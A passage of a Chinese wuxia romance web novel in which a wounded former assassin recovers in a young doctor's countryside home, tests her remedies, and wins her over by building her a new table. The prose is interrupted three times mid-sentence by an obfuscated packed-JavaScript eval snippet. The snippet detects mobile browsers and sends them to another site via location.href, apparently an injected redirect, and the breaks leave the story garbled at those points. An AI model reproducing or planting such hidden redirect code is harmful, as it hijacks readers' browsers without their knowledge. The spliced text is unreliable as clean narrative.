她这一生,信刀,信命,信自己。 不信天,不信人,不信光。 可从她点头这一刻开始,有些东西,已经不一样了。 4. 福星? 莫絮语像一阵风卷到墙边的药柜前,飞快拉开一个个抽屉,在各色药材间快速扫过,嘴里又开始念念有词: “当归补血活血,可你的脉象里血瘀已经化去大半,再多放恐怕会生燥热……嗯,减一钱。” “地龙通络效果是好,只是药性偏寒,你体内余毒本就阴寒深重,得配一点温性的桂枝梢平衡一下才行……” 闻不言靠在床头,静静望着她全身心投入医术的背影,后知后觉地涌上一丝荒谬感。 她这一生,活在刀光剑影里,活在命令与杀戮中,从未想过,有朝一日会成为别人新药方的“试药者”,更从未想过,会有人为了她的伤势,这般兴致勃勃、不厌其烦地反复调整配比。 可目光落下,触及胸口下已然结痂的伤口,下面沉稳跳动的心脏,却无比清晰地提醒她——这条命,是因为眼前这个哼着小曲、专心捣药的女人,才得以继续跳动。 罢了。 她并非忘恩负义之人。 昔日在组织里,一命换一命,一恩还一恩,是最朴素的规矩。 如今欠了对方一条命,又欠下数百两诊金,不过是试几服药,便当作……另一种形式的偿还吧。 接下来的几天,闻不言的“试药”生涯,正式拉开了序幕。 莫絮语说自己“很有分寸”,这话至少在她自己看来,是半点不假的。 每天除了固定服用的疗伤汤药之外,总会多出一小碗颜色、气味、苦涩程度都各不相同的药汁。 每一次,莫絮语都会端着小碗凑到她面前,眼睛亮晶晶地盯着她,手里还要紧紧攥着一个小本本和一支毛笔,一副随时准备详细记录反应的认真模样。 “今天加了一味赤阳花蕊,理论上能加速驱散你经脉里最后那点阴寒余毒,不过……可能有点上火。” 闻不言面不改色地接过小碗,仰头一饮而尽。 药汁入喉,起初只是寻常的微苦,可不过片刻功夫,一股明显的灼热感便从胃部缓缓升起,像一簇小火苗,迅速蔓延向四肢百骸,连带着脸颊都微微发烫,喉咙也泛起一阵干涩。 她蹙了蹙眉。 “怎么样怎么样?”莫絮语立刻凑上前来,目光仔细打量着她的面色与瞳孔,手下意识往她腕间探,想诊脉确认情况。 闻不言抬手挡开她探过来的手指,自己按在腕间脉搏处,静静感受了片刻,随即指向自己的喉咙,又简单比了个“热”的手势。 “喉咙干?全身发热?”莫絮语立刻低头,在小本本上飞快记录:“嗯……赤阳花蕊药性果然霸道,对你现在的体质来说还是偏烈了,明天减半,再加一点甘凉的茅根中和一下。” 第二天,药汁变成了浅褐色,味道清苦中带着一丝淡淡的回甘。 闻不言喝下之后,约莫半个时辰,腹部开始泛起轻微的胀闷,肠鸣隐隐,在安静的屋子里格外清晰。 莫絮语正蹲在院子里分拣草药,耳朵却灵得很,几乎第一时间就探进头来:“有反应了?是不是肚子有点不舒服?” 闻不言:“……” 她只是不动声色地微微调整了一下坐姿,试图掩饰这难言的尴尬。 可莫絮语却像发现了什么重大线索一般,立刻跑进屋,也不管她愿不愿意,直接拉过她的手腕搭在脉上,凝神细品,眉头蹙起。 “脉象滑而略数……气机稍滞于中焦,看来甘凉的药材还是加多了,影响了脾胃运化,唔,这平衡点,还真是难找……” 她咬着笔杆,若有所思:“明天试试加点炒麦芽和佛手,理气健脾,又不会助热,应该刚好。” 闻不言望着她专注记录的侧脸,心底竟难得生出一丝感慨。 这个女人平日里看起来叽叽喳喳、跳脱随性,可一旦触及医术,便会露出这般令人惊讶的执着与探索欲,明亮得让人无法移开视线。 第三次试药,反应变成了嗜睡。 闻不言在本该保持警惕的午后,竟靠着墙壁昏昏沉沉睡了将近一个时辰。 醒来时,睁眼便看见莫絮语正轻手轻脚地往她身上盖薄毯。 “醒啦?”莫絮语有些不好意思地挠挠头:“看来佛手安神的效果,在你身上被放大了……下次不用这味了。” 第四次,药汁的味道变得极其古怪,酸涩之中还夹杂着一丝腥气,一闻便知不是什么好东西。 闻不言不想喝,直觉告诉她,这碗药喝下去,绝对不会有什么舒服的反应。 莫絮语左求右求,软磨硬泡,见她始终不为所动,竟一咬牙,自己端起碗“舍身取义”,先抿了一大口。 见此情景,闻不言心头微顿,伸手夺过那碗已经被喝了一半的药汁,仰头尽数饮下。 这一次,她喝下之后反倒没什么明显不适,只是当天半夜,莫絮语自己爬起来跑了好几次茅房,第二天一早顶着一对浓重的黑眼圈,有气无力地嘟囔: “……好像是我自己配比弄错了,寒热药性冲撞在一起……阿闷,你肠胃是真的铁打。” 闻不言望着她在日光下略显苍白的脸,沉默片刻,第一次主动伸手,从她手里拿过药杵,低下头,默不作声地开始捣那些需要提前预处理的坚硬药材。 莫絮语愣在原地,片刻之后,眼睛瞬间弯成了两道好看的月牙,笑意满满:“哎呀,我们阿闷这是会心疼人啦?” 闻不言捣药的动作顿了一下,没有理她,耳根却悄悄泛起一层极淡的热意。 我们…… 这个词,陌生得让她心头微乱。 经过一次又一次调整,莫絮语终于配出了一版让她彻底满意的方子。 闻不言服下之后,只觉得一股温和的暖流缓缓在四肢百骸间流淌,一点点疏通着滞涩的经脉,胸口长久以来的闷堵感进一步减轻,连丹田深处那丝微弱的内力,恢复速度似乎也快了一丝,且全程没有任何不适与副作用。 “就是它了!”莫絮语看着她轻轻点头示意,高兴得差点把手里的记录本扔上天:“看来按古籍里阴阳和合散的变方思路是对的!阿闷,你真是我的福星!” 福星? 听到这两个字,闻不言心底掠过一丝想笑的冲动。 她是息声楼曾经最锋利、也最沉默的一把刀,是令无数江湖人闻风丧胆的天字一号杀手,是实打实的灾星,所到之处,只会带来鲜血与死亡,与“福星”二字,半点不沾边。 可莫絮语只是自顾自兴奋地在屋子里转了两圈,忽然停下脚步,认认真真地望着她,语气真诚无比: “谢谢你啊,阿闷,这些方子如果验证有效,以后能帮到很多跟你有类似伤情的人。” 闻不言缓缓抬起眼,直直对上她清澈而诚挚的目光。 谢谢? 这个词,对她而言太过陌生。 她的前半生,充斥着交易、命令、杀戮、背叛与利用,身边从来只有“必须做”“不得有误”“死不足惜”,从未有人为了一碗或许有效的药汤,对她这样郑重地道谢。 她有些不自在地移开视线,摇了摇头,意思是不必言谢。 莫絮语却像是看懂了她沉默之下的局促与无措,笑得更加灿烂,眉眼弯弯,明亮得像盛了一整个春日的阳光。 “好啦,为了庆祝试药成功,今天加菜!我去镇上买条鱼回来!” 她拎起墙角的小竹篮,脚步轻快得像只小鸟,一溜烟便出了院门,消失在篱笆外的小径尽头。 小院重归宁静,只剩下闻不言捣药的单调声响,和窗外偶尔掠过的鸟鸣。 她停下动作,目光静静望向莫絮语消失的方向,眼神复杂。 低头,看向自己掌心。 上面布满了因常年握刀而磨出的薄茧,指节分明,线条冷硬。 这双手,曾握紧冰冷的刀,终结过无数生命,沾染过洗不净的鲜血,如今,却在这里安安静静地捣着救人的草药。 荒谬感再次涌上心头。 她重新握紧药杵,更用力地捣了下去,仿佛要将心底所有纷乱不安的思绪,全都捣碎在这药臼里。 莫絮语直到傍晚才回来。 竹篮里不仅有一条鲜活的鱼,还有一块白嫩的豆腐,一把翠绿鲜嫩的小葱,以及一小包用纸包着的桂花糖。 “镇东头刘婶送的,说我上次治好她孙子的急惊风,非要塞给我。” 莫絮语得意地晃了晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305400|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里的糖包:“分你一半!” 话虽然说得大方,可晚饭之前,她自己一个人就把桂花糖吃得七七八八,只剩下寥寥几块。 喜欢吃糖。 闻不言默默将这一点记在心里。 晚饭的鱼汤炖得奶白浓郁,豆腐嫩滑入味,香气飘满整间小屋。 莫絮语吃饭也堵不住嘴,叽叽喳喳地说着镇上的见闻,谁家的老人没熬住走了,哪家铺子新到了好看的布料,衙门贴了告示要修南边的桥…… 闻不言安静地喝汤,安静地吃鱼,偶尔在她抬头问“汤咸不咸”“豆腐嫩不嫩”时,才点一下头,或是摇一摇头,回应简单,却足够让对方开心。 烛火在桌间摇曳,将两人的影子投在墙壁上,模糊地交叠在一起。 饭后,莫絮语收拾碗筷,闻不言起身想帮忙,却被她按回椅子上。 “伤员要有伤员的自觉!等你再好一点,活儿多着呢,到时候想偷懒都不成。” 夜色渐深,整座小院都浸在溶溶的月光里,虫鸣细碎,夜风温柔。 闻不言靠坐在床头,却丝毫没有睡意。 内力已经恢复了两三成,五感也随之变得异常敏锐。 她能清晰听见隔壁房间里,莫絮语均匀轻浅的呼吸,能听见夜风拂过药圃叶片的沙沙声,也能听见更远处的山林间,夜枭掠过枝头不详的啼叫。 她闭上眼,试图凝神调息,引导那丝微弱内力,驱散经脉中最后的滞涩。 胸口的伤已经没有大碍,只是动作稍大时,仍会有一丝轻微的牵扯痛感。 按照现在的恢复速度,再有七八日,她便能行动如常,内力也能恢复大半,足以自保,足以离开。 到那时…… 她该走了。 息声楼的规矩,她比谁都清楚。 假死逃生的事一旦暴露,他们一定会顺着蛛丝马迹查过来,不死不休。 这间小小的小院,这般干净温暖的安宁,根本经不起任何江湖风雨的吹打。 莫絮语救了她,她不能反过来,成为害死对方的催命符。 只是……想到离开二字。 心底某个角落,竟泛起一丝极陌生的滞涩,快得让她抓不住,也让她不敢深究。 她用力甩甩头,将不合时宜的情绪狠狠压下去。 杀手不该有牵绊,更不该有留恋。 她这样满身血债、朝不保夕、注定活在黑暗里的人,还是早日看清的好。 视线穿透窗棂,落在院子里晾晒草药的木架上,月光将架子的影子拉得很长。 她想起这些天的点点滴滴。 莫絮语似乎永远都在忙碌,晒药、分拣、炮制、看诊、熬药、试药…… 嘴上天天念叨着让她干活抵债,可实际上,除了试药,偶尔递个东西、捣几下药杵,那些真正费力气的活儿,她从来没有真正指使过她。 劈柴、挑水、修补屋顶,这些早就说好的“抵债项目”,莫絮语全都自己吭哧吭哧干完了。 这很奇怪。 按常理来说,捡一个来历不明、身无分文的伤患回家,费心费力救治,冒着巨大风险,索要报酬本就是天经地义。 莫絮语看着也并非完全不谙世事、纯然无私的傻子。 她会计较药材的价钱,会跟镇上来的药商讨价还价,也会对那位傲慢的绸衫中年人,收取足额诊金。 可偏偏对她这个最大的“债务方”,却显得……过分宽容。 闻不言从来不是习惯接受善意的人。 这份不求回报的照顾,让她本能地警惕、无措。 她更擅长处理明确的交易、冷酷的命令,或是直白的杀意。 这些东西冰冷、直接、毫不掩饰,她应对得游刃有余。 可莫絮语这种看似随意、实则处处周到的照顾,像一张柔软而温暖的蛛网,一旦缠绕上来,就让她不知该如何挣脱,也不知该如何回应。 她正出神之际,隔壁忽然传来一阵轻微的响动。 很快,房门被人轻轻推开一条缝。 莫絮语披着一件薄外衣,手里端着一盏小小的油灯,睡眼惺忪地探进头来。 5. 大半夜算什么钱 “咦?真醒了?我就说听到动静……” 闻不言:“?” 她一直安安静静靠坐在床头,连呼吸都刻意放得极轻,别说动静,连一丝多余的动作都没有,哪来的动静? 不等她细想,莫絮语已经端着油灯走了进来,将小小的灯盏放在桌边,很自然地在床边坐下,伸手就想去探她的额头,动作熟稔得仿佛已经做过千百遍。 闻不言下意识偏头躲开。 莫絮语也不觉得尴尬,若无其事地收回手,拢了拢身上披着的外衣,又打了个大大的哈欠,眼泪都被逼了出来:“做噩梦了?还是伤口疼得睡不着?” 闻不言摇了摇头。 “那就是单纯睡不着?”莫絮语揉了揉眼睛,困得脑袋一点一点的,却还是强撑着不肯走:“我都困死了,睡到一半总觉得隔壁不对劲,还以为你又像之前那样梦魇了……” 闻不言沉默不语。 她重伤昏迷那几日,频繁坠入无边梦魇。 那些鲜血、面孔、挥之不去的指令与罪孽,化作最狰狞的画面,在黑暗中反复撕扯她的神智,每次挣扎醒来,都是一身冷汗,浑身冰凉。 而每一次,守在床边的都是这个叽叽喳喳的小大夫。 她手里捏着金针,一脸疲惫,却还要强撑着笑,轻声安慰:“醒啦?没事没事,只是梦。” 可今晚,她清醒得很,根本没有做梦,只是静坐调息,到底……何来的动静? 莫絮语见她只是沉默,也不追问,自顾自往下说:“没做梦就好,你之前那样子真吓人,浑身冒冷汗,浑身都绷得紧紧的,我怎么扎针都按不住……对了,你知道你昏迷的时候,说过胡话吗?” 闻不言缓缓抬眼,看向她。 “听不清具体说什么,含含糊糊的,断断续续。” 莫絮语又打了个哈欠,语气轻松,像是在说一件无关紧要的小事:“不过肯定不是什么好话,你那表情,跟看见杀父仇人一样,又冷又凶。” 闻不言垂下眼睫,遮住眸底一闪而过的晦暗,不再看她。 那些胡话,不用想也知道,只会是无尽的血腥与罪孽。 莫絮语早已习惯她的冷淡与沉默,半点不往心里去。 她往床边又靠了靠,索性盘腿坐稳,一副打算长谈的架势,困意好像都散了几分。 “反正都醒了,我也睡不着了,陪你聊会儿天吧。” 她顿了顿,眼睛忽然一亮,像是想起了什么大事:“正好,咱俩重新算算账。” 闻不言:“……” 大半夜不睡觉,跑过来跟她算账? 她沉默地看着对方,眼神里写满显而易见的疑惑。 “你看啊。” 莫絮语掰起手指,一本正经地开始算:“你在我这儿躺了这么久,每天的药材钱、诊费、住宿费、伙食费,咱们之前算的是五百两,对吧?” 她顿了顿,又竖起一根手指:“但这几天我给你调整药方,试药的那些药材都是额外的好东西,特别是新定下来的这版方子,光那味赤阳花蕊,就值八十两一钱……” 她越说越来劲,手指掰得噼啪响,一脸“你欠大了”的表情: “还有你最开始那几天,我日夜守着不敢合眼,这护理费是不是得加一点?虽然你没多少肉,但从乱葬岗把你背回来,我腰疼了好几天,这算工伤吧?也得你负责。” 闻不言只是默默看着她。 这女人白天忙了一整天义诊,又是施针又是开药,累得眼睛都快睁不开,半夜不睡觉,反而跑过来跟她算这些细账? “还有你身上那刀毒。” 说到这里,莫絮语脸上的表情认真了几分,语气也沉了沉:“你知道有多麻烦吗?我翻了多少本古籍医书才找到门路?” “这毒可不是普通的见血封喉,是用多种阴寒属性的毒物反复淬炼而成,入体之后潜藏在经脉深处,会随着内力运转一点点扩散,要不是你体质特殊,底子比常人厚太多,早就撑不住了……” 她絮絮叨叨,细数着刀毒的凶险与医治的不易。 闻不言听着,却有些恍惚。 这女人……是在变着法子提醒她,她欠的债有多重,所以……不能走? 是怕她伤好之后,悄无声息地离开,这笔巨额诊金,就此落空? 莫絮语终于噼里啪啦算完了账,得意地拍了拍手:“这么一算,你现在欠我至少六百两了,够我在镇上买个小铺面,安安稳稳过日子了。” 她说着,忽然凑近了一些,压低声音,故作凶狠地威胁:“所以你可别想跑,欠债还钱,天经地义,什么时候还清了,什么时候才能走。” 闻不言静静看着她。 就在那一瞬间,她清清楚楚地在莫絮语眼底捕捉到了一丝一闪而过的情绪。 很轻,很软,很慌。 快得像错觉,快得让她来不及抓住,来不及分辨。 下一刻,莫絮语已经靠回床头,又开始连连打哈欠,困得眼睛都快睁不开了: “不过你也不用太有压力,慢慢还呗,反正你伤也没好利索,余毒没清干净,至少得再养一两个月,一两个月,够干不少活了,到时候劈柴挑水修屋顶,都让你来。” 她说着说着,声音越来越轻,脑袋一点一点的,明显已经困到了极点。 闻不言依旧看着她。 这人……到底为什么非要大半夜跑来说这些? “说起来……”莫絮语忽然又勉强睁开眼,声音已经染上了浓重到化不开的睡意:“你不是第一个……” 一句话没说完,她脑袋猛地一沉,身体往前一倾,差点直接栽倒。 闻不言几乎是下意识地伸手,稳稳扶了她一下。 莫絮语迷迷瞪瞪地抬头看了她一眼,含糊不清地嘟囔:“……没事没事,我回去睡……” 她撑着床头站起来,脚步虚浮,摇摇晃晃地往门口走,走到一半,又忽然停下,回头指着桌上那盏小油灯,声音软软的,很是温柔。 “灯给你留着,睡不着就点着。” “梦里那些乱七八糟的东西……就不敢来了。” 说完,她轻轻带上房门。 脚步声渐渐远去,最终消失在隔壁。 一墙之隔。 莫絮语回到自己房间掩上门,却没有立刻回到床上,而是背靠着门板,缓缓滑坐下来。 她抬手揉了揉眉心,强行驱散沉重的困意,心里却止不住地懊恼。 刚才……是不是太刻意了? 她明明睡得很沉,却在迷迷糊糊之间,被一种毫无道理、却异常清晰的直觉狠狠揪住了心脏—— 隔壁那个人醒了。 而且,她在盘算着离开。 没有依据,没有证据,只是纯粹的直觉。 她几乎是立刻就从床上弹了起来,披上衣裳,端起油灯就冲了过去,甚至来不及想好自己到底该说什么,该做什么。 然后,就演了那么一出漏洞百出、蹩脚至极的讨债戏码。 莫絮语走到桌边,就着窗外透进来的月光,倒了一杯凉水。 冰凉的液体滑过喉咙,压下心底莫名的慌乱与燥热。 阿闷刚才那个眼神……那么静,那么沉,那么亮。 她肯定……早就看穿了吧。 看穿她那点可笑的小心思,看穿她那点自私的挽留,看穿她那点连自己都不敢承认的舍不得。 “唉……” 一声极轻极轻的叹息,消散在寂静的屋子里。 莫絮语走到窗边,推开一条缝隙。 夜风吹散了屋内的闷热,也吹乱了她额前细碎的发丝。 她的目光,下意识落在隔壁那扇紧闭的窗户上。 那里一片漆黑,没有灯光,没有动静。 可她知道,里面那个人,肯定还没睡。 自打师父以“医术需经世事磨砺,仁心需见众生百态”为由,将她“赶”出神医谷,她在这山脚自立门户,定期义诊,算作出师历练以来,这座小院就一直是她一个人。 谷里规矩繁多,其中一条,便是——慎救来历不明、因果缠身之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305401|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 怕给师门惹祸,怕医者自身卷入无谓纷争,更怕……真心错付,惹来一身伤。 师父耳提面命,反复叮嘱了无数次的道理。 可她……好像总是记不住。 第一个被她捡回来的,是个被山匪劫掠、浑身是伤的货郎。 在她这儿养了半个月,能下地走路了,千恩万谢地离开,留下半筐快要腐烂的瓜果。 第二个,是个跟家里闹翻、负气出走,结果饿晕在路边的少年书生。 吃了她几顿饱饭,灌了几碗安神汤,某天清晨不告而别,只在桌上压了一张字迹工整的欠条,说日后高中,必来报答——当然,至今杳无音信。 第三个,是个被仇家追杀、慌不择路躲进她药圃的江湖客。 伤得比货郎重,警惕性也比书生高,在她这儿惴惴不安地待了十几天,伤口刚一结痂,就趁着夜色翻墙跑了,连片衣角都没留下。 林林总总,她也记不清,阿闷到底是第几个。 反正都是她在外出途中,“碰巧”遇见的伤着、病着、奄奄一息、快要死掉的人。 她治好了他们,给了他们一个暂时遮风挡雨、恢复元气的地方。 然后,看着他们一个接一个,离开。 这座小院,就像一个临时的驿站。 人来人往,热闹一场,最终,又只剩下她一个人。 对着满院子的草药,对着偶尔来串门的雀鸟,对着无边无际的安静,自言自语。 这是常态。 江湖路远,每个人都有各自的难处,各自的方向,各自要奔赴的终点。 谁也不会为了一时的恩情,就长久停留在一个偏僻山脚的小医女身边。 她理解,也接受。 只是每次送走他们,或是清晨醒来,发现人已经悄无声息离开,看着突然空荡下来的屋子,心里总会漫起一点怅然。 热闹过后的寂静,比一直寂静,更磨人。 所以这一次,在乱葬岗的冰冷泥泞里,摸到闻不言微弱却顽强的脉搏时,在把人背回小屋,清理那一身触目惊心的新旧伤疤时,她就隐隐有种预感。 这个人,和之前那些,都不一样。 她身上身经百战淬炼而出的冰冷气质,即便昏迷也紧紧抿着的唇线,遍布全身、深浅交错的伤疤,还有那复杂难解、让她费尽心思的诡异刀毒…… 无一不在无声诉说:这是个大麻烦,惹不起的麻烦。 按照师门教诲,按照明哲保身的道理,她本该谨慎再谨慎。 简单处理,保住性命,便该送走,或是任其自生自灭。 可当她看到对方在梦魇中痛苦挣扎、冷汗涔涔,却咬紧牙关一声不吭的样子; 当她感受到那副看似冷硬躯壳下,顽强到令人心惊的求生欲; 当她偶尔捕捉到,对方睁开眼时,眼底深处一闪而过、连主人自己都未必察觉的茫然与无措时…… 她“多管闲事”的老毛病,又一次毫无悬念地犯了。 不仅救了,还带回了家。 不仅带回了家,还想方设法调整药方,力求根治。 不仅想根治,还……不太想,让人那么快就走。 高额诊金,干活抵债。 这个借口,她自己都觉得蹩脚得可笑。 真要是图钱,当初就不会在乱葬岗多管闲事。 真要是怕人跑了,就该下点限制行动的药物,或是严加看管,寸步不离。 可她都没有。 她只是用这种看似精明、实则无赖的方式,划下一道微不足道的线: 你欠我的,所以你得留下,留到我觉得可以了为止。 她知道,这很自私,很无赖,很不讲理。 她也知道,怕是以阿闷那身本事,心性,若真的铁了心想走,她这破篱笆围起来的小小院落,根本拦不住。 所谓的“债务”,在对方眼里,恐怕更像一个笑话。 可她……还是想试一试。 “多留一会儿……总是好的吧。” 6. 别那么凶 隔壁房间,闻不言依旧靠坐在床头,目光一直落在桌上那盏被莫絮语特意留下的小油灯上。 豆大的火苗安静地燃烧着,驱散了一小片黑暗,也将她的影子拉长,投在身后的墙壁上。 她伸出手,在离灯火寸许的地方停留,感受那一点微不足道却真实存在的暖意。 那个女人的心思,其实并不难猜。 笨拙的挽留,刻意的算账,还有半夜跑来、困得东倒西歪却强撑着说一堆废话的模样…… 都指向同一个意图:她不想她走。 为什么? 闻不言想不明白。 萍水相逢,救她一命已是天大的恩情,为何还要涉险将她这样一个麻烦留在身边?难道真的只是因为她“欠了诊金”? 这个理由,连三岁孩童都骗不过。 可如果不是为了诊金,又是为了什么? 同情?怜悯?还是……孤独? 闻不言想起莫絮语白天义诊时,面对各色人等的从容与温暖,想起她一个人时对着草药或空气也能说得兴高采烈的样子。 这样一个好像自带光芒、能轻易融入人群的人,也会感到孤独吗? 她无法理解。 就像她无法理解,为什么有人会愿意把温暖分给像她这样冰冷、肮脏、浸透鲜血的人。 油灯的火苗轻轻跳跃了一下。 闻不言收回手,重新闭上眼睛。 无论如何,这里不能久留。 等余毒再清除一些,内力恢复到五成……就该走了。 至于那所谓的“诊金”……她会想办法还的。 夜色深沉,小院重归宁静。 只有两间相邻的屋子里,两个人都睁着眼,望着不同的黑暗,想着各自的心事,直到天际渐渐泛起鱼肚白。 —— 一早,莫絮语就惦记着今天要继续义诊,也惦记着隔壁那人今天的情况。 简单洗漱后,她端着温水,像往常一样推开闻不言的房门,准备先给她把个脉,看看余毒情况,再开始一天的忙碌。 “阿闷,该……”话卡在喉咙里。 房间里空荡荡的。 床铺整理过,薄被叠得方正,枕头上连一丝褶皱都没有,桌上昨晚她留下的那盏小油灯已经熄灭,灯盏边缘干干净净。 人不见了。 莫絮语端着水盆,愣在门口,脑子里“嗡”的一声。 跑了? 她放下水盆,快步走进房间,四下查看,衣柜没动过,药柜没动过;窗台也没有翻越的痕迹。 她放在床边小几上,准备每天给阿闷换的干净绷带和药膏,原封不动。 走得真干净,真利落。 莫絮语慢慢在床边坐下,心中侥幸“啪”地碎了,和之前那些货郎、书生、江湖客一样,伤好了,能动了,就悄无声息地离开了。 连句道别都没有。 不,说不上“伤好了”。 余毒未清,内力阻滞,胸口刀疤碰一下还会疼……就这么走了? 她忽然想起昨晚自己絮絮叨叨说那些“欠债”、“干活”的蠢话,对方大概在心里冷笑吧?笑她自作多情,笑她异想天开。 也是,一个来历不明、浑身煞气的人,怎么会真的甘心困在她这山脚小院,劈柴挑水还债?之前点头答应,恐怕也只是权宜之计,为了安心养伤罢了。 现在伤好了大半,自然该走了。 这里,不过是个临时歇脚的驿站。 莫絮语低下头,看着自己洗得发白的裙角,忽然觉得有点冷。 她坐了很久,直到院子里传来早起的鸟雀叽喳声,才恍然回神。 该准备义诊了。 她深吸一口气,用力拍了拍自己的脸颊,想把没出息的怅然拍散。 “走了也好,”她干巴巴的对着空房间自言自语:“省得我天天惦记试药方,还能省些药材……” 她起身,开始机械地收拾房间。 把水盆端出去倒了,把干净的绷带药膏收回药柜,把床铺重新抚平……好像这样,就能把另一个人存在过的痕迹也一并抹去。 收拾完,她走到院子里。 初夏的晨光正好,药圃里的草药经过这阵时间的整理,重新焕发生机,绿油油的一片,一切都和往常一样。 只有篱笆门外,那块“义诊”的木牌孤零零地立着。 莫絮语看着那木牌,发了会儿呆。 “骗子。”她小声嘟囔了一句,也不知道在说谁。 她甩甩头,强迫自己不再想,走到院门口,把义诊的木牌摆得更正些,然后开始搬桌子椅子。 那张用了好些年的旧木桌,腿脚有些晃悠,桌面也被脉枕、药瓶磨出了深浅不一的痕迹。 莫絮语把它抬到树下摆好,又搬来那把椅背有点歪的椅子,桌子矮,椅子高,她得微微佝着背,写久了难免肩膀酸。 以前不觉得,今天忽然就格外在意起来。 “凑合用吧。”她对自己说,把笔墨纸砚和脉枕一一摆好。 做完这些,她本该去厨房弄点早饭,可一点胃口都没有,索性就坐在义诊的桌子后面,看着篱笆门外的山道发呆。 晨雾渐渐散去,远处传来鸡鸣犬吠,新的一天彻底苏醒了。 陆陆续续开始有人出现在山道上,朝着小院走来。 莫絮语看着他们走近,脸上习惯性地扬起笑容,准备打招呼,可笑容刚扯到一半,就僵住了。 她的视线越过人群,落在最后面。 一个已经算不得陌生的身影,正从山道另一头走来。 瘦高,穿着她那略有些短了的旧布衣,头发用一根木簪随意束起,手里似乎还抬着什么东西。 莫絮语眨了眨眼,以为自己出现了幻觉,直到那身影越来越近,轮廓越来越清晰。 阿闷她没走..... 闻不言走到院门口,大概是她脸上没什么表情,眼神又太冷,让人不敢靠近,排队的人群自动给她让开一条路。 她径直走到树下,看了一眼莫絮语摆好的旧桌子,然后把自己抬来的新桌子放下。 旧桌子被挪到一边,新桌子稳稳当当地占据了树下的位置。 莫絮语呆呆地看着这一切。 新桌子比旧桌子高一些,桌面平整,腿脚粗壮,一看就很结实。 她下意识地坐上去试了试,背脊能自然挺直,手臂放在桌面上,高度正好,写字的姿势舒服多了。 闻不言又转身,不知道从哪里搬来一把配套、椅背笔直的新椅子,放在桌子后面。 然后,她看向莫絮语,用眼神示意:试试。 莫絮语愣愣地坐上去,调整了一下姿势,假装写了几个字。 “……”她抬头,看着站在桌旁依旧没什么表情的闻不言,喉咙有点发堵:“你……你一大早不见人影,就是去做这个了?” 闻不言点了点头。 “哪来的木头?工具呢?”她这小院里可没什么像样的木工工具。 闻不言抬手,指了指后院堆着一些修缮屋顶剩下木料的方向,又比划了一个“借”的手势。 “你去镇上借工具了?”莫絮语睁大眼:“这么早?镇上的木匠铺子还没开门吧?” 闻不言移开视线,没再比划, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305402|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思却很明显:总有办法。 莫絮语看着她平静的侧脸,又看看眼前这张结实的新桌子,心中冷意和怅然,像被阳光晒到的晨雾,“嗤”地一下,散得无影无踪。 她忽然就笑了,眼睛弯起来:“吓我一跳,我还以为你被我涨诊金吓跑了呢!” 闻不言:“……”她转身,似乎想走开。 “哎,别走啊!”莫絮语叫住她,拍了拍新桌子:“这桌子真好,谢谢啊!不过……这算不算‘以工抵债’的一部分?能折多少诊金?” 闻不言脚步顿住,回头,看了她一眼。 莫絮语“噗嗤”笑出声:“好啦好啦,开玩笑的!这桌子我喜欢,算你额外送的,不扣诊金!” 这时,排队的人群已经有些骚动,大家等着看病,又好奇地看着这沉默寡言、气质冷峻的“新面孔”。 莫絮语赶紧收敛笑容,正了正神色,对众人道:“各位久等了,咱们这就开始,老规矩,排好队,一个一个来。” 义诊开始了。 莫絮语很快投入状态,望闻问切,开方施针,轻声细语地叮嘱。 而闻不言,并没有像往常那样回屋,她冒险站在莫絮语身侧稍后一点的位置,沉默地站着,像一尊没什么存在感、但又无法忽视的雕像。 起初,没人太在意她。 直到一个抱着啼哭不止幼儿的妇人坐到桌前,孩子不知是病了不舒服还是怕生,哭得撕心裂肺,怎么哄都停不下来,吵得问诊都听不清。 莫絮语正想让孩子娘先到旁边哄哄,站在她侧后方的闻不言,忽然朝那哭闹的孩子淡淡看了一眼。 那孩子的哭声,就像被掐住了脖子,骤然一停,打了个哭嗝,睁着泪汪汪的大眼睛,怯生生地瞅了闻不言一眼,然后一头扎进娘亲怀里,只敢小声抽噎了。 妇人:“……” 莫絮语:“……” 后面排队的人群:“……” 一片寂静。 莫絮语轻咳一声,赶紧继续问诊。 接着,是两个结伴而来、为谁先看诊争执起来的汉子,声音越来越大,眼看就要吵起来。 闻不言的视线,轻飘飘地扫了过去。 两个汉子同时感到后颈一凉,争执声戛然而止,互相瞪了一眼,默默按先来后到的顺序排好了。 一上午,义诊的秩序出奇地好。 没有喧哗,没有争执,连孩子的哭闹都少了很多,大家默契地排队,安静地等待,看诊的效率高了不少。 莫絮语起初还有些不自在,总觉得阿闷这么杵在旁边,太显眼,也太……有威慑力了。 但很快,她就发现了这样做的“好处”。 